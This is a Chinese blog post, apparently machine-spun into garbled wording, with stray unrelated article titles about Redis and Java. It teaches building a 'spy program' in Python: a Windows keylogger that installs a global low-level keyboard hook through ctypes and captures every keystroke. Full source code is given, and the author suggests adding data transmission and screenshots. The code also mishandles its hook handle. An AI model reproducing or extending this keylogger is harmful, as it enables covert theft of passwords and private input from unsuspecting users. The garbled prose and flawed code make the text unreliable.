使用Python打造一款特工程序
Redis5.x五种数据类型常见命令
知识点
此次我们运用python来打造一款特务程序
程序中会用到很多知识点,大抵分为四块
win32API 此处能够在MSDN上检察
Python基础重点在cpytes库的运用,运用要领请点击此处
C言语基础
Hook
程序的基础原理在于经由历程注册Hook,纪录体系事宜
那末什么是Hook呢
Hook 手艺又叫做钩子函数,体系在挪用函数之前,钩子程序就先捕捉该音讯,钩子函数先获得掌握权,这时候钩子函数既能够加工处置惩罚(转变)该函数的实行行动,还能够强迫完毕音讯的通报
注册Hook时我们须要先导入DLL库,在Python中我们运用ctypes来导入,导入要领以下
user32 = CDLL("user32.dll") kernel32 = CDLL("kernel32.dll")
我们导入了user32.dll和kernel32.dll
这两个DLL有什么用途呢
user32.dll 是Windows用户界面相干运用程序接口,用于包含Windows处置惩罚,基础用户界面等特征,如建立窗口和发送音讯
kernel32.dll 掌握着体系的内存治理、数据的输入输出操作和中断处置惩罚
流程部份
晓得了我们要运用什么样的东西,那末第一步应当怎么做呢
1.起首我们须要先注册Hook到体系上,经由历程user32.dll中的SetWindowsHookExA函数,我们能够在体系上注册钩子
HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId );
经由历程检察文档我们看到SetWindowsHookExA函数的参数及参数范例如上所示,细致文档点击此链接检察
经由历程文档我们看到第一个参数idHook中填入钩子的范例
WH_KEYBOARD_LL的常量值为13代表的意义是看管初级键盘输入事宜,我们此处来监听键盘事宜
第二个参数lpfn代表指向钩子历程的指针,要填入钩子历程(函数),我们能够在此处来增加分外代码到达我们想要杀青的目标
第三个参数hmod示意为DLL句柄,我们能够运用kernel32中的GetModuleHandleW来猎取句柄
末了一个参数dwThreadId我们填入0代表与统一桌面上一切的线程关联
代码以下
user32.SetWindowsHookExA(13,handleProc,kernel32.GetModuleHandleW(),0)
怎样运用Python来编写我们的钩子历程呢,经由历程ctypes文档我们能够得知windows下运用WINFUNCTYPE来建立函数
此时我们发现有WINFUNCTYPE和CFUNCTYPE两个函数,详细要运用哪个呢,这两个的区别为
WINFUNCTYPE 为Windows下独占的,经由历程运用运用stdcall挪用商定的函数
CFUNCTYPE 运用规范C挪用商定的函数
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))
由于我们挪用的是WH_KEYBOARD_LL,WH_KEYBOARD_LL会运用LowLevelKeyboardProc回调函数,同时我们也须要在Python定义它
LowLevelKeyboardProc数据结构以下
LRESULT CALLBACK LowLevelKeyboardProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam );
根据官方文档提醒 假如nCode小于零,则挂钩历程必须将音讯通报给CallNextHookEx函数,而无需进一步处置惩罚,而且应返回CallNextHookEx返回的值
我们转换为Python代码
class KBDLLHOOKSTRUCT(Structure): _fields_ = [ ('vkCode', DWORD), ('scanCode', DWORD), ('flags', DWORD), ('time', DWORD), ('dwExtraInfo', DWORD)] def hookProc(nCode, wParam, lParam): if nCode < 0: return user32.CallNextHookEx(hooked, nCode, wParam, lParam) else: # 此处插进去我们的代码 pass return user32.CallNextHookEx(hooked, nCode, wParam, lParam)
末了在我们退出程序时还须要删除Hook,不然大批的Hook会使体系运转迟缓,虽然在Windows 7及更高版本上,该钩子会被寂静删除而不被挪用。运用程序没法晓得挂钩是不是已删除。我们照样主动举行删除
删除须要运用user32.dll的UnhookWindowsHookEx,参数为Hook句柄
user32.UnhookWindowsHookEx(hooked)
下面贴上悉数代码
1 import sys 2 from ctypes import * 3 from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM 4 5 user32 = CDLL("user32.dll") 6 kernel32 = CDLL("kernel32.dll") 7 8 9 class KBDLLHOOKSTRUCT(Structure): 10 _fields_ = [ 11 ('vkCode', DWORD), 12 ('scanCode', DWORD), 13 ('flags', DWORD), 14 ('time', DWORD), 15 ('dwExtraInfo', DWORD)] 16 17 18 def uninstallHookProc(hooked): 19 if hooked is None: 20 return 21 user32.UnhookWindowsHookEx(hooked) 22 hooked = None 23 24 25 def hookProc(nCode, wParam, lParam): 26 if nCode < 0: 27 return user32.CallNextHookEx(hooked, nCode, wParam, lParam) 28 else: 29 if wParam == 256: 30 if 162 == lParam.contents.value: 31 print("Ctrl pressed, call Hook uninstall()") 32 uninstallHookProc(hooked) 33 sys.exit(-1) 34 capsLock = user32.GetKeyState(20) 35 # kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT)) 36 if lParam.contents.value==13: 37 print("n") 38 elif capsLock: 39 print(chr(lParam.contents.value),end="") 40 else: 41 print(chr(lParam.contents.value+32),end="") 42 return user32.CallNextHookEx(hooked, nCode, wParam, lParam) 43 44 45 def startKeyLog(): 46 msg = MSG() 47 user32.GetMessageA(byref(msg), 0, 0, 0) 48 49 50 def installHookProc(hooked, pointer): 51 hooked = user32.SetWindowsHookExA( 52 13, 53 pointer, 54 kernel32.GetModuleHandleW(), 55 0 56 ) 57 if not hooked: 58 return False 59 return True 60 61 62 HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD)) 63 pointer = HOOKPROC(hookProc) 64 hooked = None 65 if installHookProc(hooked, pointer): 66 print("Hook installed") 67 try: 68 msg = MSG() 69 user32.GetMessageA(byref(msg), 0, 0, 0) 70 except KeyboardInterrupt as kerror: 71 uninstallHookProc(hooked) 72 print("Hook uninstall...") 73 else: 74 print("Hook installed error")
贴上我们的效果图
我们还能够再增加上分外的代码比方数据传输,截屏等等 ^_^
怎样想要相识更多的只是请点击这里把 => 地点
转载请附上原文出处链接及本声明
java架构之路-(微服务专题)feign的基本使用和nacos的配置中心